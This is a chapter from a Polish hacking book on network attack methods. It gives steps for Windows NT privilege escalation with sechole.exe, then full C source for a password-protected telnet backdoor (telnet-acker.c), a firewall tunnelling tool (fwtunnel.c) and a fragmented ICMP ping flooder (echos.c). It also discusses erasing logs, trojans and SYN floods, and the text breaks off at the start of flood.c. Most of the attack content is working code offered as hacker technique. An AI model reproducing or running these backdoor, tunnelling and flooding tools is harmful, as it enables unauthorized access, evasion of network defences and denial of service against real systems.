Rozdział 7.
Metody
przeprowadzania ataków

W niniejszym rozdziale zajmiemy się technikami włamań do sieci, stosowanymi jako potwierdzenie (lub w celu wykorzystania) istnienia luk w zabezpieczeniach, wykrytych w trakcie wcześniejszych faz analizy zabezpieczeń: rozpoznania (discovery) i skanowania ośrodka (site scan), które opisujemy w rozdziale 4. Hakerzy wykorzystują je do uzyskania dostępu na poziomie administracyjnym i przeprowadzania włamań, prowadzących do przejęcia kontroli nad komputerem, serwerem czy elementem wyposażenia sieciowego.

Aby uświadomić znaczenie takich ataków, w przypadku gdy nie są stosowane odpowiednie zasady zabezpieczeń, rozważymy kilka przykładów praktycznych.

Aby korzystać w pełni z informacji przedstawionych w tym i dalszych rozdziałach (i stać się prawdziwym guru), niezbędna jest dobra znajomość programowania, a zwłaszcza zasad wewnętrznego funkcjonowania programów. Na początek wystarczy pełne zrozumienie rozdziału 6., Podstawy programowania dla hakerów. Pożyteczne może być również skorzystanie z innych publikacji oferowanych w witrynie wydawnictwa, www.helion.pl.

Streszczenie przypadku

Rozpoczniemy od przeanalizowania typowego przykładu włamania do sieci Microsoft Windows NT. Dzięki wykorzystaniu usług systemu operacyjnego aplikacja może zlokalizować określone wywołanie API w pamięci procesu, zmodyfikować instrukcje i uzyskać dostęp do systemu na poziomie debugowania. Od tego momentu połączony z systemem włamywacz ma zapewnione pełne prawa grupy Administrators (administratorzy) lokalnej bazy SAM (Security Accounts Manager, menedżer kont zabezpieczeń).

Przyjrzyjmy się tego rodzaju „przeniknięciu” bliżej. Poniższe kroki opisują, jak dowolny użytkownik, nieposiadający praw administracyjnych w sieci Windows NT, może uzyskać pełną władzę nad komputerem pracującym pod kontrolą systemu Windows NT 3.51, 4.0 lub 2000 (Workstation lub Server).

1. Logowanie. Logujemy się jako dowolny użytkownik komputera, choćby Guest (gość).

2. Kopiowanie plików. Po zalogowaniu kopiujemy pliki sechole.exe i admindll.dll na dysk twardy do dowolnego katalogu, dla którego mamy uprawnienia zapisywania i uruchamiania plików.

3. Uruchomienie Sechole.exe. Uruchamiamy program sechole.exe (należy mieć świadomość, że wtedy system może utracić stabilność lub zawiesić się).

4. Ponowne uruchomienie, jeżeli konieczne. Gotowe! Wcześniejszy „zwykły” użytkownik należy teraz do grupy Administrators (administratorzy), co zapewnia mu pełną kontrolę nad komputerem.

Przedstawiane w niniejszym rozdziale programy umieszczone zostały na dołączonym do książki CD-ROM-ie.

Włamanie takie, przeprowadzane na niezabezpieczonym serwerze sieciowym, mogłoby stać się koszmarem dla jego obsługi, zwłaszcza gdy dodatkowo skorzystamy z programu typu log basher (opisanego w dalszej części rozdziału), który zniszczy wszelkie ślady włamania. Ataki tego rodzaju podejmowane są z wnętrza organizacji albo za pośrednictwem połączeń zdalnego dostępu (poprzez sieci zewnętrzne lub VPN).

Przejdźmy teraz do przeglądu tajemnych sposobów i technik wykorzystywania luk w zabezpieczeniach zarówno lokalnie, jak i zdalnie.

„Tylne wejścia” (backdoors)

„Tylne wejście” (backdoor) to środek lub technika stosowana przez hakera do uzyskania dostępu do systemu sieciowego, utrzymania go i korzystania z niego. W szerszym znaczeniu określa się w ten sposób lukę w systemie zabezpieczeń. Dla hakera istotne jest zachowanie możliwości dostępu do raz „złamanego” systemu, również w obliczu wprowadzania nowych zapór, filtrów, serwerów proxy czy uaktualnień.

„Tylne wejścia” dzielą się na dwie kategorie: aktywne i pasywne. Aktywne mogą być wykorzystywane w dowolnym czasie. „Tylnego wejścia” pasywnego użyć można dopiero po pewnym czasie lub po wystąpieniu określonego zdarzenia systemowego. Wybór pomiędzy nimi uzależniony powinien być od architektury bram zabezpieczających sieć. Zabezpieczenia sieci opierają się na wymienionych wcześniej elementach pośredniczących: zaporach, filtrach i serwerach proxy. Dla uproszczenia wprowadzimy teraz podział na dwie podstawowe kategorie architektury bram: filtr pakietów i zapora proxy. Każda z nich ma swoją odmianę zaawansowaną.

Filtr pakietów

Filtr pakietów (packet filter) to stacja lub router testujący każdy pakiet pod kątem zasady (reguły), która warunkuje jego przekazanie do sieci lub węzła docelowego za pośrednictwem odpowiedniego przyłącza. Typowe zasady filtrowania zakładają odrzucanie pakietów ICMP, UDP i nadchodzących pakietów SYN/ACK, które inicjują sesję z zewnątrz. Najprostsze filtry tego rodzaju biorą pod uwagę jedynie stację źródłową, stację docelową i port docelowy. Odmiany zaawansowane mogą uwzględniać dodatkowo przyłącze, z którego pakiet został odebrany, port źródłowy, a także znaczniki nagłówka. Przykładem filtru pakietów może być dowolny prosty router Cisco czy stacja UNIX z demonem zapory firewall. Jeżeli router został skonfigurowany do przekazywania określonego protokołu, stacja zewnętrzna może wykorzystać ten protokół do ustanowienia bezpośredniego połączenia ze stacją wewnętrzną. Większość routerów przewiduje możliwość generowania dzienników inspekcji. Typową funkcją są również alarmy wzbudzane przez działania „podejrzane”.

Zasadniczą wadą filtrów pakietów jest kłopotliwe zarządzanie. Wraz ze wzrostem złożoności reguł coraz łatwiej o omyłkowe zdefiniowanie zasad sprzecznych lub dopuszczających pakiety niepożądane. Hakerzy wiedzą również, że w tego rodzaju architekturach występują liczne luki w zabezpieczeniach. Mimo to, filtry pakietów znajdują zastosowanie głównie jako pierwsza linia obrony poprzedzająca zaporę firewall. Współcześnie wiele zapór firewall integrowanych jest z filtrami pakietów na poziomie modułu jądra (kernela) międzysieciowego systemu operacyjnego (IOS, internetworking operating system).

Filtr stanowy

Filtr stanowy (stateful filter) to rozbudowana wersja filtru pakietów, dostarczająca tych samych funkcji co poprzednik i dodatkowo śledząca informacje o stanie sesji (jak numery sekwencyjne TCP). Podstawowym wyróżnikiem filtrów stanowych jest więc utrzy­mywanie informacji o połączeniach. Przykładami tego typu rozwiązań mogą być Cisco PIX, Checkpoint FireWall-1 i Watchguard.

Praca filtru stanowego polega na analizowaniu danych na najniższych poziomach stosu protokołów w celu porównania sesji bieżącej z wcześniejszymi — pozwala to wykryć sesje o „podejrzanym” przebiegu. W przeciwieństwie do bram proxy poziomu aplikacji badanie stanowe oparte jest na regułach zdefiniowanych przez użytkownika. Nie są to więc jedynie predefiniowane informacje o pracy aplikacji. Badanie stanowe wymaga również mniejszej mocy przetwarzania. Wadą tego rozwiązania jest brak możliwości rozpoznawania poszczególnych aplikacji, co uniemożliwia odpowiednie różnicowanie reguł.

Zapora proxy

Zapora proxy (proxy firewall) to nic więcej jak serwer z dwoma kartami sieciowymi, na którym wyłączono routing (przekazywanie pakietów), a włączono demona serwera proxy. Dla każdej aplikacji wymagającej komunikacji za pośrednictwem takiej bramy, musi zostać zainstalowane odpowiednie oprogramowanie. Pojedynczy serwer proxy pośredniczy w komunikacji z pewną liczbą serwerów innego typu, zapewniając maskowanie, funkcje zapory, buforowanie lub połączenie tych mechanizmów.

Jako synonimu serwera proxy używa się często terminu brama (gateway). Wynika to stąd, że w typowych zastosowaniach serwer proxy używany jest w przedsiębiorstwie do przejmowania wszystkich kierowanych do Internetu żądań, przekazywania ich do serwerów, odbierania odpowiedzi i zwracania ich do inicjatora takiej wymiany informacji (za pomocą agenta proxy, który działa w imieniu użytkownika, realizując połączenie ze zdalną stacją bądź usługą).

Brama proxy poziomu aplikacji

Brama proxy poziomu aplikacji (application proxy gateway) to rozbudowana wersja zapory proxy. Również i to rozwiązanie wymaga odpowiedniego oprogramowania dla każdej korzystającej z zapory aplikacji. Różnica polega na tym, że brama poziomu aplikacji obejmuje zintegrowane moduły sprawdzające każde żądanie i odpowiedź. Przykładem może być strumień wychodzącego połączenia FTP, który może wyłącznie pobierać dane. Bramy poziomu aplikacji analizują dane warstwy aplikacji i służą jako proxy dla użytkowników z zewnątrz, przechwytując pakiety i przekazując je aplikacji. Pozwala to uniknąć tworzenia bezpośrednich połączeń użytkowników z zewnątrz z chronionym obszarem sieci. Analizowanie danych poziomu aplikacji oznacza, że zapora inaczej traktuje pakiety FTP, a inaczej SMTP. Zapewniana jest w ten sposób ochrona każdej obsługiwanej aplikacji.

Większość architektur zabezpieczeń wyróżnia się, charakterystycznymi wyłącznie dla nich samych, lukami w zabezpieczeniach. Ich przegląd przedstawiamy w rozdziale 8.

Zakładanie „tylnego wejścia”

Gdy stosowane są zapory, wykorzystanie luki w zabezpieczeniach w celu założenia „tylnego wejścia” nie jest zadaniem prostym. Warunkiem udanej operacji jest jej dokładne zaplanowanie. Zazwyczaj wymagane są cztery kroki.

• Przejęcie połączenia wirtualnego. Oznacza to przejęcie zdalnej sesji Telnet, tunelu VPN lub sesji „secure-ID”.

• Wprowadzenie agenta. Oznacza to znalezienie użytkownika, informatyka lub innej osoby i poddanie jej inżynierii społecznej (oszukanie), aby zainstalowała „zestaw tylnego wejścia” (backdoor kit) w sieci docelowej. Najprostszą i najpopularniejszą odmianą tego rodzaju operacji jest wysłanie do osoby „z wewnątrz” sfałszowanej wiadomości e-mail z załączonym koniem trojańskim.

• Wykorzystanie podatności wewnętrznej. Większość sieci oferuje pewien zestaw usług — e-mail, DNS, WWW, itp. — w tzw. strefie zdemilitaryzowanej (DMZ, demilitarized zone; strefa poprzedzająca zaporę, często słabo chroniona). Usługi te często poddają się atakom i dają duże szanse na uzyskanie dostępu. Warto też pamiętać, że na wielu zaporach uruchamiane są demony przekazywania poczty.

• Wykorzystanie podatności zewnętrznej. Oznacza to włamanie przez zewnętrzny serwer poczty, demon serwera HTTP lub usługę Telnet pracującą na bramie zewnętrznej Większość stosowanych powszechnie zasad zabezpieczeń zakwalifikować można jako typowe lub niekompletne, stąd ich podatność i łatwość wywołania co najmniej efektu przepełnienia bufora.

Ponieważ wszelkie poważne systemy podlegają systematycznemu monitorowaniu i przeglądom, doświadczony haker nie będzie umieszczał swojego „tylnego wejścia” na komputerze bezpośrednio przyłączonym do segmentu zapory. Najlepszym celem są wewnętrzne węzły sieci lokalnej, często w ogóle niezabezpieczane i niepodlegające profesjonalnej administracji.

Statystyki wykazują, że 7 z 10 mających dostęp do Internetu węzłów, czy to przed, czy za zaporą firewall, może zostać wykorzystanych do zainstalowania konia trojańskiego lub innego rodzaju „tylnego wejścia”. Cały Internet jest regularnie skanowany przez hakerów w poszukiwaniu zainstalowanych programów tego typu.

Typowe techniki „tylnego wejścia”

Opiszemy teraz popularne techniki „tylnego wejścia” z podziałem na opisane wcześniej kategorie architektury zabezpieczeń.

Filtry pakietów

Routery i bramy służące jako filtry pakietów łączy jedna wspólna cecha: możliwość nawiązywania połączeń administracyjnych Telnet. Technika telnet-acker jest przykładem „tylnego wejścia”, które pozwala na ominięcie tych filtrów. Program działa podobnie jak standardowy demon Telnet, nie formułując jednak w pełni, charakterystycznej dla protokołu TCP, wymiany potwierdzeń (handshaking). Wykorzystywany jest jedynie pakiet TCP z ustawionym bitem ACK. Ponieważ pakiety tego rodzaju rozpoznawane są jako „dopasowane” do pakietów połączenia ustanowionego wcześniej, ich przekazywanie nie jest blokowane. Oto przykład.

telnet-acker.c

#include <stdio.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <sys/time.h>

#include <sys/resource.h>

#include <sys/wait.h>

#include <fcntl.h>

#include <errno.h>

#include <netinet/in.h>

#include <netdb.h>

#include <arpa/inet.h>

#include <sys/ioctl.h>

#define QLEN 5

#define MY_PASS "passme"

#define SERV_TCP_PORT 33333

/*"Telnet na adres/port. Wciśnij 1x [ENTER], hasło,"*/

/*"Stacja i port 23."*/

char sbuf[2048], cbuf[2048];

extern int errno;

extern char *sys_errlist[];

void reaper();

int main();

void telcli();

int main(argc, argv)

int argc;

char *argv[];

{

int srv_fd, rem_fd, rem_len, opt = 1;

struct sockaddr_in rem_addr, srv_addr;

bzero((char *) &rem_addr, sizeof(rem_addr));

bzero((char *) &srv_addr, sizeof(srv_addr));

srv_addr.sin_family = AF_INET;

srv_addr.sin_addr.s_addr = htonl(INADDR_ANY);

srv_addr.sin_port = htons(SERV_TCP_PORT);

srv_fd = socket(PF_INET, SOCK_STREAM, 0);

if (bind(srv_fd, (struct sockaddr *) &srv_addr, sizeof(srv_addr)) == -1) {

perror("bind");

exit(-1);

}

listen(srv_fd, QLEN);

close(0); close(1); close(2);

#ifdef TIOCNOTTY

if ((rem_fd = open("/dev/tty", O_RDWR)) >= 0) {

ioctl(rem_fd, TIOCNOTTY, (char *)0);

close(rem_fd);

}

#endif

if (fork()) exit(0);

while (1) {

rem_len = sizeof(rem_addr);

rem_fd=accept(srv_fd, (struct sockaddr *) &rem_addr, &rem_len);

if (rem_fd < 0) {

if (errno == EINTR) continue;

exit(-1);

}

switch(fork()) {

case 0:

close(srv_fd);

telcli(rem_fd);

close(rem_fd);

exit(0);

break;

default:

close(rem_fd);

if (fork()) exit(0);

break;

case -1:

fprintf(stderr, "\n\rfork: %s\n\r", sys_errlist[errno]);

break;

}

}

}

void telcli(source)

int source;

{

int dest;

int found;

struct sockaddr_in sa;

struct hostent *hp;

struct servent *sp;

char gethost[100];

char getport[100];

char string[100];

bzero(gethost, 100);

read(source, gethost, 100);

sprintf(string, "");

write(source, string, strlen(string));

read(source, gethost, 100);

gethost[(strlen(gethost)-2)] = '\0'; /* nie ma szans - rezygnujemy */

if (strcmp(gethost, MY_PASS) != 0) {

close(source);

exit(0);

}

do {

found = 0;

bzero(gethost,100);

sprintf(string, "telnet bouncer ready.\n");

write(source, string, strlen(string));

sprintf(string, "Host: ");

write(source, string, strlen(string));

read(source, gethost, 100);

gethost[(strlen(gethost)-2)] = '\0';

hp = gethostbyname(gethost);

if (hp) {

found++;

#if !defined(h_addr) /* w 4.3 jest #define */

#if defined(hpux) || defined(NeXT) || defined(ultrix) || defined(POSIX)

memcpy((caddr_t)&sa.sin_addr, hp->h_addr_list[0], hp->h_length);

#else

bcopy(hp->h_addr_list[0], &sa.sin_addr, hp->h_length);

#endif

#else /* defined(h_addr) */

#if defined(hpux) || defined(NeXT) || defined(ultrix) || defined(POSIX)

memcpy((caddr_t)&sa.sin_addr, hp->h_addr, hp->h_length);

#else

bcopy(hp->h_addr, &sa.sin_addr, hp->h_length);

#endif

#endif /* defined(h_addr) */

sprintf(string, "Found address for %s\n", hp->h_name);

write(source, string, strlen(string));

} else {

if (inet_addr(gethost) == -1) {

found = 0;

sprintf(string, "Didnt find address for %s\n", gethost);

write(source, string, strlen(string));

} else {

found++;

sa.sin_addr.s_addr = inet_addr(gethost);

}

}

} while (!found);

sa.sin_family = AF_INET;

sprintf(string, "Port: ");

write(source, string, strlen(string));

read(source, getport, 100);

gethost[(strlen(getport)-2)] = '\0';

sa.sin_port = htons((unsigned) atoi(getport));

if (sa.sin_port == 0) {

sp = getservbyname(getport, "tcp");

if (sp)

sa.sin_port = sp->s_port;

else {

sprintf(string, "%s: bad port number\n", getport);

write(source, string, strlen(string));

return;

}

}

sprintf(string, "Trying %s...\n", (char *) inet_ntoa(sa.sin_addr));

write(source, string, strlen(string));

if ((dest = socket(AF_INET, SOCK_STREAM, 0)) < 0) {

perror("telcli: socket");

exit(1);

}

connect(dest, (struct sockaddr *) &sa, sizeof(sa));

sprintf(string, "Connected to %s port %d...\n", inet_ntoa(sa.sin_addr),

ntohs(sa.sin_port));

write(source, string, strlen(string));

#ifdef FNDELAY

fcntl(source,F_SETFL,fcntl(source,F_GETFL,0)|FNDELAY);

fcntl(dest,F_SETFL,fcntl(dest,F_GETFL,0)|FNDELAY);

#else

fcntl(source,F_SETFL,O_NDELAY);

fcntl(dest,F_SETFL,O_NDELAY);

#endif

communicate(dest,source);

close(dest);

exit(0);

}

communicate(sfd,cfd) {

char *chead, *ctail, *shead, *stail;

int num, nfd, spos, cpos;

extern int errno;

fd_set rd, wr;

chead = ctail = cbuf;

cpos = 0;

shead = stail = sbuf;

spos = 0;

while (1) {

FD_ZERO(&rd);

FD_ZERO(&wr);

if (spos < sizeof(sbuf)-1) FD_SET(sfd, &rd);

if (ctail > chead) FD_SET(sfd, &wr);

if (cpos < sizeof(cbuf)-1) FD_SET(cfd, &rd);

if (stail > shead) FD_SET(cfd, &wr);

nfd = select(256, &rd, &wr, 0, 0);

if (nfd <= 0) continue;

if (FD_ISSET(sfd, &rd)) {

num=read(sfd,stail,sizeof(sbuf)-spos);

if ((num==-1) && (errno != EWOULDBLOCK)) return;

if (num==0) return;

if (num>0) {

spos += num;

stail += num;

if (!--nfd) continue;

}

}

if (FD_ISSET(cfd, &rd)) {

num=read(cfd,ctail,sizeof(cbuf)-cpos);

if ((num==-1) && (errno != EWOULDBLOCK)) return;

if (num==0) return;

if (num>0) {

cpos += num;

ctail += num;

if (!--nfd) continue;

}

}

if (FD_ISSET(sfd, &wr)) {

num=write(sfd,chead,ctail-chead);

if ((num==-1) && (errno != EWOULDBLOCK)) return;

if (num>0) {

chead += num;

if (chead == ctail) {

chead = ctail = cbuf;

cpos = 0;

}

if (!--nfd) continue;

}

}

if (FD_ISSET(cfd, &wr)) {

num=write(cfd,shead,stail-shead);

if ((num==-1) && (errno != EWOULDBLOCK)) return;

if (num>0) {

shead += num;

if (shead == stail) {

shead = stail = sbuf;

spos = 0;

}

if (!--nfd) continue;

}

}

}

}

Filtry stanowe

Routery i bramy stosujące ten typ filtrów pakietów zmuszają hakera do tunelowania lub wykorzystywania programów, które inicjują połączenie z sieci chronionej do jego własnej stacji. Poniżej przedstawiamy program, który przeprowadza atak oparty na tunelowaniu.

fwtunnel.c

#include <stdio.h>

#include <unistd.h>

#include <netinet/in.h>

#include <sys/time.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netdb.h>

#include <fcntl.h>

#define UDP

#undef TCP

#define BUFSIZE 4096

void selectloop(int netfd, int tapfd);

void usage(void);

char buffer[BUFSIZE];

main(int ac, char *av[]) {

int destport;

struct sockaddr_in destaddr;

struct hostent *ht;

int sock;

int daemon;

int netfd;

int tapfd;

/* sprawdź liczbę parametrów */

if(ac != 3)

usage();

/* pobierz numer portu, przerwij jeżeli atoi = 0 */

if((destport = atoi(av[2])) == 0)

usage();

/* sprawdź czy jesteśmy demonem czy klientem. */

if(av[1][0] == '-')

daemon = 1;

else

daemon = 0;

if(!daemon) {

/* odwzorowanie DNS */

if((ht = gethostbyname(av[1])) == NULL) {

switch(h_errno) {

case HOST_NOT_FOUND:

printf("%s: Unknown host\n", av[2]);

break;

case NO_ADDRESS:

printf("%s: No IP address for hostname\n", av[2]);

break;

case NO_RECOVERY:

printf("%s: DNS Error\n", av[2]);

break;

case TRY_AGAIN:

printf("%s: Try again (DNS Fuckup)\n", av[2]);

break;

default:

printf("%s: Unknown DNS error\n", av[2]);

}

exit(0);

}

/* przygotowanie struktury destaddr */

destaddr.sin_port = htons(destport);

destaddr.sin_family = AF_INET;

memcpy(&destaddr.sin_addr, ht->h_addr, ht->h_length);

}

#ifdef TCP

sock = socket(AF_INET, SOCK_STREAM, 0);

#endif

#ifdef UDP

sock = socket(AF_INET, SOCK_DGRAM, 0);

#endif

if(sock == -1) {

perror("socket");

exit(0);

}

printf("Opening network socket.\n");

if(!daemon) {

if(connect(sock, &destaddr, sizeof(struct sockaddr_in)) ==

-1) {

perror("connect");

exit(0);

}

netfd = sock;

}

else {

struct sockaddr_in listenaddr;

#ifdef UDP

struct sockaddr_in remote;

#endif

int socklen;

listenaddr.sin_port = htons(destport);

listenaddr.sin_family = AF_INET;

listenaddr.sin_addr.s_addr = inet_addr("0.0.0.0");

if(bind(sock, &listenaddr, sizeof(struct sockaddr_in)) ==

-1) {

perror("bind");

exit(0);

}

socklen = sizeof(struct sockaddr_in);

#ifdef TCP

if(listen(sock, 1) == -1) {

perror("listen");

exit(0);

}

printf("Waiting for TCP connection...\n");

if((netfd = accept(sock, &listenaddr, &socklen)) == -1) {

perror("accept");

exit(0);

}

#else /* TCP */

netfd = sock;

recvfrom(netfd, buffer, BUFSIZE, MSG_PEEK, &remote,

&socklen);

connect(netfd, &remote, socklen);

#endif

}

/* ok. Ustawiliśmy netfd tak, że umożliwi komunikację z

siecią. */

printf("Opening /dev/tap0\n");

tapfd = open("/dev/tap0", O_RDWR);

if(tapfd == -1) {

perror("tapfd");

exit(0);

}

selectloop(netfd, tapfd);

return 0;

}

void selectloop(int netfd, int tapfd) {

fd_set rfds;

int maxfd;

int len;

if(netfd > tapfd)

maxfd = netfd;

else

maxfd = tapfd;

while(1) {

FD_ZERO(&rfds);

FD_SET(netfd, &rfds);

FD_SET(tapfd, &rfds);

if(select(maxfd+1, &rfds, NULL, NULL, NULL) == -1) {

perror("select");

exit(0);

}

if(FD_ISSET(netfd, &rfds)) {

FD_CLR(netfd, &rfds);

if((len = read(netfd, buffer, BUFSIZE)) < 1) {

if(len == -1)

perror("read_netfd");

printf("netfd died, quitting\n");

close(tapfd);

exit(0);

}

printf("%d bytes from network\n", len);

write(tapfd, buffer, len);

continue;

}

if(FD_ISSET(tapfd, &rfds)) {

FD_CLR(tapfd, &rfds);

if((len = read(tapfd, buffer, BUFSIZE)) < 1) {

if(len == -1)

perror("read_tapfd");

printf("tapfd died, quitting\n");

shutdown(netfd, 2);

close(netfd);

exit(0);

}

printf("%d bytes from interface\n", len);

write(netfd, buffer, len);

continue;

}

} /* koniec pętli */

}

void usage(void) {

printf("Wrong arguments.\n");

exit(0);

}

/* fwtunnel wykorzystuje do tunelowania adresu ethertrap

fwtunnel <stacja | -> <port>

pierwszy argument to albo stacja, z którą się łączymy,

albo, jeżeli mamy być stacją nasłuchującą, znak '-'. System

wewnątrz sieci chronionej podaje nazwę stacji, system poza

znak '-'.

Obie strony podają numer portu... powinien być zgodny...

*/

/* odnośnie systemu Linux --

przede wszystkim potrzebny jest kernel w wersji >= 2.1.

w sekcji "Networking Options" włączyć:

"Kernel/User netlink socket"

i, poniżej,

"Netlink device emulation"

w sekcji "Network device support" włączyć:

"Ethertap network tap"

po skompilowaniu kernel jest gotowy. */

/* konfigurowanie urządzenia ethertap --

przede wszystkim, muszą istnieć odpowiednie pliki /dev,

więc wykonujemy:

mknod /dev/tap0 c 36 16

aby zostały utworzone.

Kolejnym krokiem jest ifconfig, więc wybieramy

wykorzystywaną podsieć. W tym przykładzie wykorzystamy sieć

192.168.1.0, gdzie jedną stroną jest 192.168.1.1, a drugą -

192.168.1.2... W takim wypadku wprowadzamy:

ifconfig tap0 192.168.1.1(lub .2) mtu 1200

Kernel w wersji 2.1 tworzy odpowiednią trasę automatycznie.

*/

Kolejnym popularnym i prostym narzędziem do omijania filtrów stanowych jest „niewidoczne FTP” (winftp.exe). Demon nie wyświetla przy uruchamianiu żadnych komunikatów, zapewniając nasłuch FTP na porcie 21. Z usługą może połączyć się dowolny klient FTP. Program dołącza się najczęściej do różnego rodzaju spamu i rozprowadza jako żart. Po jego uruchomieniu każdy haker może pobierać pliki ofiary i ładować swoje.

O stacjach użytkowników sieci Maskowane zazwyczaj pod postacią żartów, ukryte w programach do pobrania lub załącznikach e-mail, programy „tylnego wejścia” stwarzają dla większości stacji ogromne zagrożenie. Systemy pracujące w domu, biurze czy centrum przetwarzania danych w prosty sposób mogą zostać zarażone koniem trojańskim, który umożliwi swobodną wymianę plików, sterownie aplikacjami i procesami systemowymi, zarządzanie pulpitem, przeglądanie elektronicznej skrzynki pocztowej, a nawet kontrolę nad tym, co jest wyświetlane na monitorze. Zestawy, takie jak Back Orifice i NetBus, zyskały duże zainteresowanie mediów, czego podstawową przyczyną było ich szerokie rozpowszechnienie. Większość skanerów pamięci, aplikacji i dysku zawiera moduły pomagające wykrywać tego rodzaju demony. Mimo to, wciąż powstają setki mutacji i nowych pakietów dostępnych w Sieci i, być może, już przygotowanych do ataku na Twój system. Jest to w każdym razie temat, na który warto zwrócić uwagę.

Bramy proxy i poziomu aplikacji

Większość firm umożliwia swoim pracownikom przeglądanie stron WWW. Ogólną zasadą w „walce” z zaporą jest atakowanie najsłabszego serwera proxy lub portu. W tym przypadku oznacza to użycie odwróconej powłoki HTTP i wykorzystanie jej połączenia w celu uzyskania dostępu do sieci wewnętrznej. Przykładem tej techniki w języku Perl jest skrypt rwwwshell-1.6.perl, autorstwa Van Hausera (prezesa the hacker's choice, http://www.thehackerschoice.com/).

Przeciążanie (flooding)

W systemie, którego interfejs sieciowy powiązany został z protokołem TCP/IP i który jest połączony z Internetem łączem stałym lub telefonicznym, część lub wszystkie usługi mogą stać się niedostępne. Pojawić się może wówczas komunikat w stylu:

„Połączenie utracone lub zerowane przez serwer”.

Komunikat taki jest często symptomem ataku przeciążeniowego (flooding). Przedstawimy teraz atak SYN, gdzie haker ukierunkowuje się na komputer lub wybraną usługę TCP, taką jak na przykład usługa HTTP (port 80). Atak wymaga protokołu TCP, stosowanego przez wszystkie komputery w Internecie. Choć nie jest specyficzny dla systemu Windows NT, na nim oprzemy opis przebiegu włamania.

Przypomnijmy sobie trójstopniową wymianę potwierdzeń SYN-ACK, którą opisujemy w rozdziale 1. Do komputera docelowego wysyłany jest pakiet żądania połączenia TCP (SYN). Źródłowy adres IP zostaje w tym pakiecie zastąpiony przez inny, niewykorzystywany w Internecie lub należący do innego komputera. Atakujący wysyła żądania wielokrotnie, starając się zająć jak najwięcej zasobów komputera docelowego. Po otrzymaniu żądania połączenia komputer docelowy alokuje pewne zasoby do obsługi i śledzenia nowej sesji komunikacyjnej, po czym odpowiada pakietem SYN-ACK. W tym przypadku pakiet przesyłany jest na adres „podrobiony” lub w ogóle nieistniejący w sieci. Nie powoduje więc żadnego odzewu. Wówczas skonfigurowany domyślnie komputer pod kontrolą systemu Windows NT 3.5x lub 4.0 przesyła pakiet ponownie, powtarzając tę czynność pięć razy i podwajając za każdym razem wartość czasu oczekiwania. Początkową wartością są 3 sekundy, więc ponowne przesłanie pakietu SYN-ACK następuje po 3, 6, 12, 24 i 48 sekundach. Po ostatniej próbie upływa kolejnych 96 sekund oczekiwania i dopiero wówczas system realokuje wykorzystywane przez cały czas zasoby sesji. Całkowity czas zajęcia zasobów wynosi więc ok. 189 sekund.

Gdy podejrzewamy, że komputer jest celem ataku typu SYN, możemy skorzystać z polecenia netstat, którego działanie przedstawiono na rysunku 7.1 — wyświetla ono informacje o aktywnych połączeniach.

Rysunek 7.1. Wyświetlanie listy aktywnych połączeń za pomocą polecenia netstat

Jeżeli duża liczba połączeń sieciowych pozostaje w stanie SYN_RECEIVED, system może być właśnie atakowany. Ilustruje to rysunek 7.2.

Rysunek 7.2. Połączenia aktywne w stanie SYN-REC

W dalszym badaniu problemu pomocny będzie program typu monitor sieci (sniffer), którego pracę opisujemy kilka stron dalej. Niezbędny może być również kontakt z usługodawcą Internetu, co może pomóc w ustaleniu tożsamości osoby przeprowadzającej atak. W przypadku większości stosów liczba połączeń, które mogą pozostawać w stanie SYN_RECEIVED, jest ograniczona. Po jej osiągnięciu na kolejne żądania system docelowy odpowiada komunikatem reset. Może to doprowadzić do stanu, kiedy system w ogóle przestanie być dostępny.

Aby zabezpieczyć się przed atakami przeciążeniowymi, konfiguracja systemu i zasady zabezpieczeń muszą zostać odpowiednio zmodyfikowane. Ze statystyk wynika, że około 90 procent przyłączonych do Internetu węzłów nie podlega odpowiedniej ochronie. Przykładem programu typu echo flooder może być echos.c.

echos.c

#include <stdio.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netdb.h>

#include <netinet/in.h>

#include <netinet/in_systm.h>

#include <netinet/ip.h>

#include <netinet/ip_icmp.h>

#ifdef REALLY_RAW

#define FIX(x) htons(x)

#else

#define FIX(x) (x)

#endif

int

main(int argc, char **argv)

{

int s;

char buf[1500];

struct ip *ip = (struct ip *)buf;

struct icmp *icmp = (struct icmp *)(ip + 1);

struct hostent *hp;

struct sockaddr_in dst;

int offset;

int on = 1;

bzero(buf, sizeof buf);

if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {

perror("socket");

exit(1);

}

if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {

perror("IP_HDRINCL");

exit(1);

}

if (argc != 2) {

fprintf(stderr, "usage: %s hostname\n", argv[0]);

exit(1);

}

if ((hp = gethostbyname(argv[1])) == NULL) {

if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {

fprintf(stderr, "%s: unknown host\n", argv[1]);

}

} else {

bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);

}

printf("Sending to %s\n", inet_ntoa(ip->ip_dst));

ip->ip_v = 4;

ip->ip_hl = sizeof *ip >> 2;

ip->ip_tos = 0;

ip->ip_len = FIX(sizeof buf);

ip->ip_id = htons(4321);

ip->ip_off = FIX(0);

ip->ip_ttl = 255;

ip->ip_p = 1;

ip->ip_sum = 0; /* wypełnia kernel */

ip->ip_src.s_addr = 0; /* wypełnia kernel */

dst.sin_addr = ip->ip_dst;

dst.sin_family = AF_INET;

icmp->icmp_type = ICMP_ECHO;

icmp->icmp_code = 0;

icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));

/* sumę z zer łatwo się liczy */

for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {

ip->ip_off = FIX(offset >> 3);

if (offset < 65120)

ip->ip_off |= FIX(IP_MF);

else

ip->ip_len = FIX(418); /* razem ma być 65538 */

if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,

sizeof dst) < 0) {

fprintf(stderr, "offset %d: ", offset);

perror("sendto");

}

if (offset == 0) {

icmp->icmp_type = 0;

icmp->icmp_code = 0;

icmp->icmp_cksum = 0;

}

}

}

Skompilowaną wersję tego rodzaju demona, umożliwiającą wykrywanie podatności na przeciążenie, znaleźć można w postaci modułu pakietu TigerSuite, umieszczonego na dołączonym do książki dysku CD. Jego interfejs przedstawia rysunek 7.3.

Rysunek 7.3. Przeciążanie ping

Popularnym, łatwym do modyfikowania programem przeciążeniowym, korzystającym z techniki podobnej do wyżej opisanej, jest flood.c, generujący podrobione rozgłoszenia ICMP.

Flood.c

#include <sys/types.h>

#include <sys/socket.h>

